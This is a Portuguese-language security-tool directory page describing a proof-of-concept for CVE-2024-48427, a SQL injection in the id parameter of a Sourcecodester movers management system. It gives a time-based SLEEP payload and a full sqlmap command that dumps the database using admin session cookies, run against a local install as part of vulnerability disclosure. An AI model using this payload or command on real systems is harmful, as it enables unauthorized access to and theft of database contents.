Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-48427 — Prova de conceito para CVE-2024-48427: injeção de SQL no Sourcecodester Packers and Movers Management System v1.0. Explora o parâmetro id para executar comandos SQL arbitrários e despejar o conteúdo do banco de dados. | Kitploit
Ferramentas/GitHubGitHub/vighneshnair7/cve-2024-48427
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoSegurança de Banco de Dados
GitHubvighneshnair7/cve-2024-48427

CVE-2024-48427

Prova de conceito para CVE-2024-48427: injeção de SQL no Sourcecodester Packers and Movers Management System v1.0. Explora o parâmetro id para executar comandos SQL arbitrários e despejar o conteúdo do banco de dados.

Ver Repositório
122há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-48427

Descrição

Uma vulnerabilidade de injeção SQL no Sourcecodester Packers and Movers Management System v1.0 permite que usuários autenticados remotos executem comandos SQL arbitrários por meio do parâmetro id em /mpms/admin/?page=services/manage_service&id

Tipo de Vulnerabilidade

Injeção SQL

Fornecedor do Produto

Sourcecodester

Base do código do produto afetado:

https://www.sourcecodester.com/php/15360/packers-and-movers-management-system-phpoop-free-source-code.html - 1.0

Componente afetado:

O parâmetro id do Update Service Details em /mpms/admin/?page=services/manage_service&id

Vetores de Ataque:

  1. Configure a aplicação localmente e faça login no painel administrativo usando as credenciais padrão fornecidas.
  2. Navegue até a página vulnerável: http://localhost/mpms/admin/?page=services/manage_service&id=2
  3. Injete o payload SQL no parâmetro id: http://localhost/mpms/admin/?page=services/manage_service&id=1' OR SLEEP(5)-- puNr
  4. Observe a resposta da aplicação: a página deve demorar visivelmente mais (5 segundos) para carregar se a injeção for bem-sucedida, confirmando que o parâmetro id é vulnerável a injeção SQL.
  5. Agora execute a ferramenta SQLMap para extrair os detalhes do banco de dados:
  6. sqlmap -u "http://localhost/mpms/admin/?page=services/manage_service&id=1" --cookie="phpMyAdmin=ju34bd3d8q0jdf6td4ntqscaqd;PHPSESSID=eopn8q1p8c1f5m1v5igjoir8k1;" --dbms mysql -p id --risk 3 --level 4 --dbs --dump

Referência:

  1. https://owasp.org/www-community/attacks/SQL_Injection
  2. https://portswigger.net/web-security/sql-injection
Baixar ferramenta